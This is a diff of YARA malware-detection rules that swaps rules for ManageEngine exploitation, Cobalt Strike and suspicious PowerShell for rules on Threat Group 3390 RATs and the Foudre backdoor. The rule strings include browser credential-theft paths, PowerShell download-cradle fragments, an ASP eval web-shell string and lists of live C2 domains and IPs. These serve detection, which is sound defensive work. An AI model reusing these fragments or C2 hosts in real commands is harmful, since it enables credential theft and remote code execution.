-rule SIGNATURE_BASE_EXPL_Manageengine_CVE_2022_47966_Jan23_1
+rule SIGNATURE_BASE_Httpbrowser_RAT_Sample2 : FILE
 {
 	meta:
-		description = "Detects indicators of exploitation of ManageEngine vulnerability as described by Horizon3"
+		description = "Threat Group 3390 APT Sample - HttpBrowser RAT Sample"
 		author = "Florian Roth (Nextron Systems)"
-		id = "07535b9c-8611-5a46-bcd7-f94070de2aea"
-		date = "2023-01-13"
+		id = "693d381f-50b0-5f06-b725-78243b67092c"
+		date = "2015-08-06"
 		modified = "2023-12-05"
-		reference = "https://www.horizon3.ai/manageengine-cve-2022-47966-iocs/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/expl_manageengine_jan23.yar#L2-L14"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "a62064e4f12632ba6c14cbbd9369ee919536334f19021a177c126b5dff7e568c"
-		score = 75
+		reference = "http://snip.ly/giNB"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_threatgroup_3390.yar#L67-L84"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "c7e945131a867bf46a467784d7119c95342733cc723cdeeb76d69c8fdb326749"
+		score = 80
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "c57c5a2c322af2835ae136b75283eaaeeaa6aa911340470182a9983ae47b8992"
 
 	strings:
-		$ = "]: com.adventnet.authentication.saml.SamlException: Signature validation failed. SAML Response rejected|"
+		$s0 = "nKERNEL32.DLL" fullword wide
+		$s1 = "WUSER32.DLL" fullword wide
+		$s2 = "mscoree.dll" fullword wide
+		$s3 = "VPDN_LU.exeUT" fullword ascii
 
 	condition:
-		1 of them
+		uint16(0)==0x5a4d and filesize <250KB and all of them
 }
-rule SIGNATURE_BASE_HKTL_Cobaltstrike_Sleepmask_Jul22
+rule SIGNATURE_BASE_Httpbrowser_RAT_Gen : FILE
 {
 	meta:
-		description = "Detects static bytes in Cobalt Strike 4.5 sleep mask function that are not obfuscated"
-		author = "CodeX"
-		id = "d396ab0e-b584-5a7c-8627-5f318a20f9dd"
-		date = "2022-07-04"
+		description = "Threat Group 3390 APT Sample - HttpBrowser RAT Generic"
+		author = "Florian Roth (Nextron Systems)"
+		id = "0ba9facb-7385-56ce-9e20-d86261a39cd1"
+		date = "2015-08-06"
 		modified = "2023-12-05"
-		reference = "https://codex-7.gitbook.io/codexs-terminal-window/blue-team/detecting-cobalt-strike/sleep-mask-kit-iocs"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cobaltstrike.yar#L3-L15"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "233b3cb441f45f400c0261589aac31dd1fcd9c4e3a86a6aaa46c60849063b34b"
-		score = 80
+		reference = "http://snip.ly/giNB"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_threatgroup_3390.yar#L86-L124"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "cbc1dec88994427fc5003c9506f5a766531136ee80a16d00d2bf5bd5d7990cb3"
+		score = 90
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "0299493ccb175d452866f5e21d023d3e92cd8d28452517d1d19c0f05f2c5ca27"
+		hash2 = "065d055a90da59b4bdc88b97e537d6489602cb5dc894c5c16aff94d05c09abc7"
+		hash3 = "05c7291db880f94c675eea336ecd66338bd0b1d49ad239cc17f9df08106e6684"
+		hash4 = "07133f291fe022cd14346cd1f0a649aa2704ec9ccadfab809ca9c48b91a7d81b"
+		hash5 = "0f8893e87ddec3d98e39a57f7cd530c28e36d596ea0a1d9d1e993dc2cae0a64d"
+		hash6 = "108e6633744da6efe773eb78bd0ac804920add81c3dde4b26e953056ac1b26c5"
+		hash7 = "1052ad7f4d49542e4da07fa8ea59c15c40bc09a4d726fad023daafdf05866ebb"
+		hash8 = "1277ede988438d4168bb5b135135dd3b9ae7d9badcdf1421132ca4692dd18386"
+		hash9 = "19be90c152f7a174835fd05a0b6f722e29c648969579ed7587ae036679e66a7b"
+		hash10 = "1e7133bf5a9fe5e462321aafc2b7770b8e4183a66c7fef14364a0c3f698a29af"
+		hash11 = "2264e5e8fcbdcb29027798b200939ecd8d1d3ad1ef0aef2b8ce7687103a3c113"
+		hash12 = "2a1bdeb0a021fb0bdbb328bd4b65167d1f954c871fc33359cb5ea472bad6e13e"
+		hash13 = "259a2e0508832d0cf3f4f5d9e9e1adde17102d2804541a9587a9a4b6f6f86669"
+		hash14 = "240d9ce148091e72d8f501dbfbc7963997d5c2e881b4da59a62975ddcbb77ca2"
+		hash15 = "211a1b195cf2cc70a2caf8f1aafb8426eb0e4bae955e85266490b12b5322aa16"
+		hash16 = "2d25c6868c16085c77c58829d538b8f3dbec67485f79a059f24e0dce1e804438"
+		hash17 = "2d932d764dd9b91166361d8c023d64a4480b5b587a6087b0ce3d2ac92ead8a7d"
+		hash18 = "3556722d9aa37beadfa6ba248a66576f767e04b09b239d3fb0479fa93e0ba3fd"
+		hash19 = "365e1d4180e93d7b87ba28ce4369312cbae191151ac23ff4a35f45440cb9be48"
+		hash20 = "36c49f18ce3c205152eef82887eb3070e9b111d35a42b534b2fb2ee535b543c0"
+		hash21 = "3eeb1fd1f0d8ab33f34183893c7346ddbbf3c19b94ba3602d377fa2e84aaad81"
+		hash22 = "3fa8d13b337671323e7fe8b882763ec29b6786c528fa37da773d95a057a69d9a"
 
 	strings:
-		$sleep_mask = { 48 8B C4 48 89 58 08 48 89 68 10 48 89 70 18 48 89 78 20 45 33 DB 45 33 D2 33 FF 33 F6 48 8B E9 BB 03 00 00 00 85 D2 0F 84 81 00 00 00 0F B6 45 }
+		$s0 = "%d|%s|%04d/%02d/%02d %02d:%02d:%02d|%ld|%d" fullword wide
+		$s1 = "HttpBrowser/1.0" fullword wide
+		$s2 = "set cmd : %s" ascii fullword
+		$s3 = "\\config.ini" wide fullword
 
 	condition:
-		$sleep_mask
+		uint16(0)==0x5a4d and filesize <45KB and filesize >20KB and all of them
 }
-rule SIGNATURE_BASE_Winagent_Badpatch_1 : FILE
+rule SIGNATURE_BASE_Plugx_Nvsmartmax_Gen : FILE
 {
 	meta:
-		description = "Detects samples mentioned in BadPatch report"
+		description = "Threat Group 3390 APT Sample - PlugX NvSmartMax Generic"
 		author = "Florian Roth (Nextron Systems)"
-		id = "732792ed-cb70-5b69-8457-f54177e4609e"
-		date = "2017-10-20"
+		id = "5ecd25a8-9717-527f-bb6e-3259b9a60458"
+		date = "2015-08-06"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/RvDwwA"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_bad_patch.yar#L11-L39"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "568086edb8884877f9dcb0cffa1e4c05164e6884bf80ce50692cedfa3e8d5750"
-		score = 75
+		reference = "http://snip.ly/giNB"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_threatgroup_3390.yar#L126-L154"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "7795b0d978f9447a6cee808708d65992447e359539a8fe64331c06ad46ff7491"
+		score = 70
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "285998bce9692e46652529685775aa05e3a5cb93ee4e65d021d2231256e92813"
+		hash1 = "718fc72942b9b706488575c0296017971170463f6f40fa19b08fc84b79bf0cef"
+		hash2 = "1c0379481d17fc80b3330f148f1b87ff613cfd2a6601d97920a0bcd808c718d0"
+		hash3 = "555952aa5bcca4fa5ad5a7269fece99b1a04816d104ecd8aefabaa1435f65fa5"
+		hash4 = "71f7a9da99b5e3c9520bc2cc73e520598d469be6539b3c243fb435fe02e44338"
+		hash5 = "65bbf0bd8c6e1ccdb60cf646d7084e1452cb111d97d21d6e8117b1944f3dc71e"
 
 	strings:
-		$x1 = "J:\\newPatch\\downloader\\" wide
-		$x2 = "L:\\rashed\\New code\\" wide
-		$x3 = ":\\newPatch\\last version\\" wide
-		$x4 = "\\Microsoft\\Microsoft\\Microsoft1.log" wide
-		$x5 = "\\Microsoft\\Microsoft\\Microsoft.log" wide
-		$x6 = "\\Microsoft\\newPP.exe" wide
-		$x7 = " (this is probably a proxy server error)." fullword wide
-		$x8 = " :Old - update patch and check anti-virus.. " fullword wide
-		$x9 = "PatchNotExit-- download now.. " fullword wide
-		$x10 = "PatchNotExit-- Check Version" fullword wide
-		$x11 = "PatchNotExit-- Version Patch" fullword wide
-		$s1 = "downloader " fullword wide
-		$s2 = "DelDownloadFile" fullword ascii
-		$s3 = "downloadFile" fullword ascii
-		$s4 = "downloadUpdate" fullword wide
+		$s0 = "NvSmartMax.dll" fullword ascii
+		$s1 = "NvSmartMax.dll.url" fullword ascii
+		$s2 = "Nv.exe" fullword ascii
+		$s4 = "CryptProtectMemory failed" fullword ascii
+		$s5 = "CryptUnprotectMemory failed" fullword ascii
+		$s7 = "r%.*s(%d)%s" fullword wide
+		$s8 = " %s CRC " fullword wide
+		$op0 = { c6 05 26 49 42 00 01 eb 4a 8d 85 00 f8 ff ff 50 }
+		$op1 = { 8d 85 c8 fe ff ff 50 8d 45 c8 50 c6 45 47 00 e8 }
+		$op2 = { e8 e6 65 00 00 50 68 10 43 41 00 e8 56 84 00 00 }
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <600KB and (1 of ($x*) or 4 of them ))
+		uint16(0)==0x5a4d and filesize <800KB and all of ($s*) and 1 of ($op*)
 }
-rule SIGNATURE_BASE_Winagent_Badpatch_2 : FILE
+rule SIGNATURE_BASE_Httpbrowser_RAT_Dropper_Gen2 : FILE
 {
 	meta:
-		description = "Detects samples mentioned in BadPatch report"
+		description = "Threat Group 3390 APT Sample - HttpBrowser RAT Dropper"
 		author = "Florian Roth (Nextron Systems)"
-		id = "648528f0-351c-527e-b516-2c8cae9fb4a3"
-		date = "2017-10-20"
+		id = "cd559642-a102-5946-8a7f-16c10e7f746d"
+		date = "2015-08-06"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/RvDwwA"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_bad_patch.yar#L41-L74"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "649cfca8fa9d3b9f12b56fd81d4133a00eb5449e67fca2abe85fbfb778912df8"
-		score = 75
+		reference = "http://snip.ly/giNB"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_threatgroup_3390.yar#L156-L183"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "bf274053fe7729471716a710e3bd5ed027d6ab2c45f7af9a1103bfa1ada9cbf4"
+		score = 70
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "106deff16a93c4a4624fe96e3274e1432921c56d5a430834775e5b98861c00ea"
-		hash2 = "ece76fdf7e33d05a757ef5ed020140d9367c7319022a889923bbfacccb58f4d7"
-		hash3 = "cf53fc8c9ce4e5797cc5ac6f71d4cbc0f2b15f2ed43f38048a5273f40bc09876"
-		hash4 = "802a39b22dfacdc2325f8a839377c903b4a7957503106ce6f7aed67e824b82c2"
-		hash5 = "278dba3857367824fc2d693b7d96cef4f06cb7fdc52260b1c804b9c90d43646d"
-		hash6 = "2941f75da0574c21e4772f015ef38bb623dd4d0c81c263523d431b0114dd847e"
-		hash7 = "46f3afae22e83344e4311482a9987ed851b2de282e8127f64d5901ac945713c0"
-		hash8 = "27752bbb01abc6abf50e1da3a59fefcce59618016619d68690e71ad9d4a3c247"
-		hash9 = "050610cfb3d3100841685826273546c829335a5f4e2e4260461b88367ad9502c"
+		hash1 = "c57c5a2c322af2835ae136b75283eaaeeaa6aa911340470182a9983ae47b8992"
+		hash2 = "dfa984174268a9f364d856fd47cfaca75804640f849624d69d81fcaca2b57166"
 
 	strings:
-		$s1 = "myAction=shell_result&serialNumber=" fullword wide
-		$s2 = "\\Appdata\\Local\\Google\\Chrome\\User Data\\Default\\Login Data.*" wide
-		$s3 = "\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles" wide
-		$s4 = "\\Appdata\\Local\\Google\\Chrome\\User Data\\Default\\Cookies.*" wide
-		$s5 = "newSHELL[" fullword wide
-		$s6 = "\\file1.txt" wide
-		$s7 = "myAction=newGIF&serialNumber=" fullword wide
-		$s8 = "\\Storege1" wide
-		$s9 = "\\Microsoft\\mac.txt" wide
-		$s10 = "spytube____:" fullword ascii
-		$s11 = "0D0700045F5C5B0312045A04041F40014B1D11004A1F19074A141100011200154B031C04" fullword wide
-		$s12 = "16161A1000012B162503151851065A1A0007" fullword wide
-		$s13 = "-- SysFile...." fullword wide
+		$s1 = "navlu.dll.urlUT" fullword ascii
+		$s2 = "VPDN_LU.exeUT" fullword ascii
+		$s3 = "pnipcn.dllUT" fullword ascii
+		$s4 = "\\ssonsvr.exe" ascii
+		$s5 = "/c del /q %s" fullword ascii
+		$s6 = "\\setup.exe" ascii
+		$s7 = "msi.dllUT" fullword ascii
+		$op0 = { 8b 45 0c 83 38 00 0f 84 98 }
+		$op1 = { e8 dd 07 00 00 ff 35 d8 fb 40 00 8b 35 7c a0 40 }
+		$op2 = { 83 fb 08 75 2c 8b 0d f8 af 40 00 89 4d dc 8b 0d }
+		$op3 = { c7 43 18 8c 69 40 00 e9 da 01 00 00 83 7d f0 00 }
+		$op4 = { 6a 01 e9 7c f8 ff ff bf 1a 40 00 96 1b 40 00 01 }
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <700KB and 3 of them )
+		uint16(0)==0x5a4d and filesize <400KB and 3 of ($s*) and 1 of ($op*)
 }
-rule SIGNATURE_BASE_Worddoc_Powershell_Urldownloadtofile : FILE
+rule SIGNATURE_BASE_Threatgroup3390_Strings : FILE
 {
 	meta:
-		description = "Detects Word Document with PowerShell URLDownloadToFile"
+		description = "Threat Group 3390 APT - Strings"
 		author = "Florian Roth (Nextron Systems)"
-		id = "f76c5f91-f67c-5754-b771-73383aba4d64"
-		date = "2017-02-23"
-		modified = "2024-04-03"
-		reference = "https://www.arbornetworks.com/blog/asert/additional-insights-shamoon2/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_powershell_susp.yar#L10-L30"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "e4ea4e6092011bccfc5132186b910075361f4f77f01ae00c51c486d77a996775"
-		score = 75
+		id = "9a44393b-5220-5376-ba18-2330f4623cd6"
+		date = "2015-08-06"
+		modified = "2023-12-05"
+		reference = "http://snip.ly/giNB"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_threatgroup_3390.yar#L185-L202"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "d1e4889a48f4f9bfcc12237dd44cd8ad9db9918c6a5859de086d1ddc051ff937"
+		score = 60
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash1 = "33ee8a57e142e752a9c8960c4f38b5d3ff82bf17ec060e4114f5b15d22aa902e"
-		hash2 = "388b26e22f75a723ce69ad820b61dd8b75e260d3c61d74ff21d2073c56ea565d"
-		hash3 = "71e584e7e1fb3cf2689f549192fe3a82fd4cd8ee7c42c15d736ebad47b028087"
 
 	strings:
-		$w1 = "Microsoft Forms 2.0 CommandButton" fullword ascii
-		$w2 = "Microsoft Word 97-2003 Document" fullword ascii
-		$p1 = "powershell.exe" fullword ascii
-		$p2 = "URLDownloadToFile" fullword ascii
+		$s1 = "\"cmd\" /c cd /d \"c:\\Windows\\Temp\\\"&copy" ascii
+		$s2 = "svchost.exe a -k -r -s -m5 -v1024000 -padmin-windows2014"
+		$s3 = "ren *.rar *.zip" fullword ascii
+		$s4 = "c:\\temp\\ipcan.exe" fullword ascii
+		$s5 = "<%eval(Request.Item(\"admin-na-google123!@#" ascii
 
 	condition:
-		( uint16(0)==0xcfd0 and 1 of ($w*) and all of ($p*))
+		1 of them and filesize <30KB
 }
-rule SIGNATURE_BASE_Suspicious_Powershell_Webdownload_1 : HIGHVOL FILE
+rule SIGNATURE_BASE_Threatgroup3390_C2 : FILE
 {
 	meta:
-		description = "Detects suspicious PowerShell code that downloads from web sites"
+		description = "Threat Group 3390 APT - C2 Server"
 		author = "Florian Roth (Nextron Systems)"
-		id = "a763fb82-c840-531b-b631-f282bf035020"
-		date = "2017-02-22"
-		modified = "2024-04-03"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_powershell_susp.yar#L52-L91"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "56ad9c71c34956e94325452d829627a30b1499552725232a07100f05a050ef1b"
+		id = "232b5052-e349-55f1-bd7e-1afc5d35abe4"
+		date = "2015-08-06"
+		modified = "2023-12-05"
+		reference = "http://snip.ly/giNB"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_threatgroup_3390.yar#L204-L323"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "be411bb8e301eb4ba611bc9d6c8f0e3b8c27b87c2dd3f8405d0eba0296117697"
 		score = 60
-		quality = 85
-		tags = "HIGHVOL, FILE"
+		quality = 60
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		nodeepdive = 1
 
 	strings:
-		$s1 = "System.Net.WebClient).DownloadString(\"http" ascii nocase
-		$s2 = "System.Net.WebClient).DownloadString('http" ascii nocase
-		$s3 = "system.net.webclient).downloadfile('http" ascii nocase
-		$s4 = "system.net.webclient).downloadfile(\"http" ascii nocase
-		$s5 = "GetString([Convert]::FromBase64String(" ascii nocase
-		$fp1 = "NuGet.exe" ascii fullword
-		$fp2 = "chocolatey.org" ascii
-		$fp3 = " GET /"
-		$fp4 = " POST /"
-		$fp5 = ".DownloadFile('https://aka.ms/installazurecliwindows', 'AzureCLI.msi')" ascii
-		$fp6 = " 404 "
-		$fp7 = "# RemoteSSHConfigurationScript" ascii
-		$fp8 = "<helpItems" ascii fullword
-		$fp9 = "DownloadFile(\"https://codecov.io/bash" ascii
-		$fp10 = "DownloadFile('https://get.golang.org/installer.exe" ascii
-		$fpg1 = "All Rights"
-		$fpg2 = "<html"
-		$fpg3 = "<HTML"
-		$fpg4 = "Copyright"
-		$fpg5 = "License"
-		$fpg6 = "<?xml"
-		$fpg7 = "Help" fullword
-		$fpg8 = "COPYRIGHT" fullword
+		$s1 = "api.apigmail.com"
+		$s2 = "apigmail.com"
+		$s3 = "backup.darkhero.org"
+		$s4 = "bel.updatawindows.com"
+		$s5 = "binary.update-onlines.org"
+		$s6 = "blackcmd.com"
+		$s7 = "castle.blackcmd.com"
+		$s8 = "ctcb.blackcmd.com"
+		$s9 = "darkhero.org"
+		$s10 = "dav.local-test.com"
+		$s11 = "test.local-test.com"
+		$s12 = "dev.local-test.com"
+		$s13 = "ocean.local-test.com"
+		$s14 = "ga.blackcmd.com"
+		$s15 = "helpdesk.blackcmd.com"
+		$s16 = "helpdesk.csc-na.com"
+		$s17 = "helpdesk.hotmail-onlines.com"
+		$s18 = "helpdesk.lnip.org"
+		$s19 = "hotmail-onlines.com"
+		$s20 = "jobs.hotmail-onlines.com"
+		$s21 = "justufogame.com"
+		$s22 = "lnip.org"
+		$s23 = "local-test.com"
+		$s24 = "login.hansoftupdate.com"
+		$s25 = "long.update-onlines.org"
+		$s26 = "longlong.update-onlines.org"
+		$s27 = "longshadow.dyndns.org"
+		$s28 = "longshadow.update-onlines.org"
+		$s29 = "longykcai.update-onlines.org"
+		$s30 = "lostself.update-onlines.org"
+		$s31 = "mac.navydocument.com"
+		$s32 = "mail.csc-na.com"
+		$s33 = "mantech.updatawindows.com"
+		$s34 = "micr0soft.org"
+		$s35 = "microsoft-outlook.org"
+		$s36 = "mtc.navydocument.com"
+		$s37 = "navydocument.com"
+		$s38 = "mtc.update-onlines.org"
+		$s39 = "news.hotmail-onlines.com"
+		$s40 = "oac.3322.org"
+		$s41 = "ocean.apigmail.com"
+		$s42 = "pchomeserver.com"
+		$s43 = "registre.organiccrap.com"
+		$s44 = "security.pomsys.org"
+		$s45 = "services.darkhero.org"
+		$s46 = "sgl.updatawindows.com"
+		$s47 = "shadow.update-onlines.org"
+		$s48 = "sonoco.blackcmd.com"
+		$s49 = "test.logmastre.com"
+		$s50 = "up.gtalklite.com"
+		$s51 = "updatawindows.com"
+		$s52 = "update-onlines.org"
+		$s53 = "update.deepsoftupdate.com"
+		$s54 = "update.hancominc.com"
+		$s55 = "update.micr0soft.org"
+		$s56 = "update.pchomeserver.com"
+		$s57 = "urs.blackcmd.com"
+		$s58 = "wang.darkhero.org"
+		$s59 = "webs.local-test.com"
+		$s60 = "word.apigmail.com"
+		$s61 = "wordpress.blackcmd.com"
+		$s62 = "working.blackcmd.com"
+		$s63 = "working.darkhero.org"
+		$s64 = "working.hotmail-onlines.com"
+		$s65 = "www.trendmicro-update.org"
+		$s66 = "www.update-onlines.org"
+		$s67 = "x.apigmail.com"
+		$s68 = "ykcai.update-onlines.org"
+		$s69 = "ykcailostself.dyndns-free.com"
+		$s70 = "ykcainobody.dyndns.org"
+		$s71 = "zj.blackcmd.com"
+		$s72 = "laxness-lab.com"
+		$s73 = "google-ana1ytics.com"
+		$s74 = "www.google-ana1ytics.com"
+		$s75 = "ftp.google-ana1ytics.com"
+		$s76 = "hotmailcontact.net"
+		$s77 = "208.115.242.36"
+		$s78 = "208.115.242.37"
+		$s79 = "208.115.242.38"
+		$s80 = "66.63.178.142"
+		$s81 = "72.11.148.220"
+		$s82 = "72.11.141.133"
+		$s83 = "74.63.195.236"
+		$s84 = "74.63.195.236"
+		$s85 = "74.63.195.237"
+		$s86 = "74.63.195.238"
+		$s87 = "103.24.0.142"
+		$s88 = "103.24.1.54"
+		$s89 = "106.187.45.162"
+		$s90 = "192.151.236.138"
+		$s91 = "192.161.61.19"
+		$s92 = "192.161.61.20"
+		$s93 = "192.161.61.22"
+		$s94 = "103.24.1.54"
+		$s95 = "67.215.232.179"
+		$s96 = "96.44.177.195"
+		$s97 = "49.143.192.221"
+		$s98 = "67.215.232.181"
+		$s99 = "67.215.232.182"
+		$s100 = "96.44.182.243"
+		$s101 = "96.44.182.245"
+		$s102 = "96.44.182.246"
+		$s103 = "49.143.205.30"
+		$s104 = "working_success@163.com"
+		$s105 = "ykcaihyl@163.com"
+		$s106 = "working_success@163.com"
+		$s107 = "yuming@yinsibaohu.aliyun.com"
 
 	condition:
-		1 of ($s*) and not 1 of ($fp*)
+		uint16(0)==0x5a4d and 1 of them
 }
-rule SIGNATURE_BASE_Powershell_In_Word_Doc : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Foudre_Backdoor_1 : FILE
 {
 	meta:
-		description = "Detects a powershell and bypass keyword in a Word document"
+		description = "Detects Foudre Backdoor"
 		author = "Florian Roth (Nextron Systems)"
-		id = "c9d073ff-25c6-5751-92bf-e22ae7cfd5f5"
-		date = "2017-06-27"
-		modified = "2024-04-03"
-		reference = "Internal Research - ME"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_powershell_susp.yar#L104-L119"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "6a9b295f1c430c285aedc5e6df268ea2023c8bdaccd04cf8a5d021419cd6bd64"
-		score = 50
-		quality = 83
+		id = "ab2d43f4-fc35-5980-9b5d-98c5c4cfd012"
+		date = "2017-08-01"
+		modified = "2023-12-05"
+		reference = "https://goo.gl/Nbqbt6"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_foudre.yar#L13-L29"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "e42959162017ddf6da1d0b2950096e93e0e98c3e5f88ae28fc48e82ef98ca87b"
+		score = 75
+		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "4fd4a7b5ef5443e939015276fc4bf8ffa6cf682dd95845ef10fdf8158fdd8905"
+		hash1 = "7e73a727dc8f3c48e58468c3fd0a193a027d085f25fa274a6e187cf503f01f74"
+		hash2 = "7ce2c5111e3560aa6036f98b48ceafe83aa1ac3d3b33392835316c859970f8bc"
 
 	strings:
-		$s1 = "POwErSHELl.ExE" fullword ascii nocase
-		$s2 = "BYPASS" fullword ascii nocase
+		$s1 = "initialization failed: Reinstall the program" fullword wide
+		$s2 = "SnailDriver V1" fullword wide
+		$s3 = "lp.ini" fullword wide
 
 	condition:
-		( uint16(0)==0xcfd0 and filesize <1000KB and all of them )
+		( uint16(0)==0x5a4d and filesize <100KB and 2 of them )
 }
-rule SIGNATURE_BASE_Susp_Powershell_Sep17_1 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Foudre_Backdoor_Dropper_1 : FILE
 {
 	meta:
-		description = "Detects suspicious PowerShell script in combo with VBS or JS "
+		description = "Detects Foudre Backdoor"
 		author = "Florian Roth (Nextron Systems)"
-		id = "6d4b9113-173f-5c12-b440-7f1cef9e6ebb"
-		date = "2017-09-30"
-		modified = "2024-04-03"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_powershell_susp.yar#L131-L148"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "6c8a1e72b2c4685a5a5749d86901b123976092aee373412bf04c62aa32145be8"
-		score = 60
+		id = "38c7d05b-d545-53c5-8db7-a7925b5b7838"
+		date = "2017-08-01"
+		modified = "2023-01-07"
+		reference = "https://goo.gl/Nbqbt6"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_foudre.yar#L31-L51"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "77ae856e74ceb04e73c26154d7b4cf98ed0e1d8b9ac6ed78775becbff2473e13"
+		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "8e28521749165d2d48bfa1eac685c985ac15fc9ca5df177d4efadf9089395c56"
+		hash1 = "6bc9f6ac2f6688ed63baa29913eaf8c64738cf19933d974d25a0c26b7d01b9ac"
+		hash2 = "da228831089c56743d1fbc8ef156c672017cdf46a322d847a270b9907def53a5"
 
 	strings:
-		$x1 = "Process.Create(\"powershell.exe -nop -w hidden" fullword ascii nocase
-		$x2 = ".Run\"powershell.exe -nop -w hidden -c \"\"IEX " ascii
-		$s1 = "window.resizeTo 0,0" fullword ascii
+		$x1 = "536F594A96C5496CB3949A4DA4775B576E049C57696E646F77735C43757272656E7456657273696F6E5C5C52756E" fullword wide
+		$x2 = "2220263024C380B3278695851482EC32" fullword wide
+		$s1 = "C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\\\Startup\\" wide
+		$s2 = "C:\\Documents and Settings\\All Users\\" wide
+		$s3 = "Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\\\Shell Folders" wide
+		$s4 = "ShellExecuteW" fullword wide
 
 	condition:
-		( filesize <2KB and 1 of them )
+		( uint16(0)==0x5a4d and filesize <100KB and (1 of ($x*) or 4 of them ))
 }
-rule SIGNATURE_BASE_Susp_Powershell_Sep17_2 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Foudre_Backdoor_Component_1 : FILE
 {
 	meta:
